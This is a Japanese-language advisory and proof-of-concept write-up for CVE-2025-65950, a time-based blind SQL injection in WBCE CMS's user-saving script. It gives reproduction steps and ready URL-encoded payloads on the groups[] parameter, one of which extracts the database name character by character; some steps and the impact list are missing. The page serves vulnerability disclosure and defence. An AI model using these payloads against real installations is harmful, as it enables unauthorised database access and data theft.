
WBCE CMSの重大な時間ベースのブラインドSQLインジェクション脆弱性に対する概念実証エクスプロイト。低権限ユーザーが任意のSQLクエリを実行し、データベースの内容を外部に持ち出すことを可能にします。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2025-65950 |
| 深刻度 | CRITICAL |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
ユーザー管理モジュールにおける重大なSQLインジェクションの脆弱性により、ユーザーを変更する権限を持つ低権限の認証済みユーザーが任意のSQLクエリを実行できる可能性があります。これはデータベース全体の侵害やデータの外部流出へとエスカレーションし、事実上すべてのセキュリティ対策を回避できます。
この脆弱性は、ユーザープロファイルの更新を処理する admin/users/save.php スクリプトに存在します。このスクリプトは、ユーザー編集フォームから送信された groups[] パラメータを不適切に処理します。
概念実証では、時間ベースのブラインドSQLインジェクションを使用して任意のSQL実行を確認します。
users_modify)権限を持つグループに属する認証済みユーザーアカウント。このユーザーは完全な管理者である必要はありません。
再現手順:
a. 低権限ユーザーとしてログインします。 b. 「アクセス」→「ユーザー」に移動し、変更する任意のユーザーを選択します。



d. `groups[]` パラメータを、データベースを10秒間待機させようとする以下のURLエンコードされたペイロードに編集します: groups%5B%5D=2%27+%2C+%60active%60+%3D+SLEEP(10)+--+
*(デコードされたペイロード: 2' , `active` = SLEEP(10) -- )*
f. 変更したリクエストを送信します。
3. 検証:

データ外部流出の例: データベース名の取得
**文字をテストするためのペイロード例:**
groups%5B%5D=2%27+%2C+%60active%60+%3D+IF(SUBSTRING(DATABASE()%2C+1%2C+1)+%3D+%27w%27%2C+SLEEP(5)%2C+0)+--+
この手動プロセスを続けることで、完全なデータベース名、そしてデータベース内の他の任意のデータを明らかにすることができます。


ユーザープロファイルに無害な変更のみを行えるはずの低権限ユーザーが、データベースを完全に制御できるようになります。
影響には以下が含まれますが、これらに限定されません:
本CVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。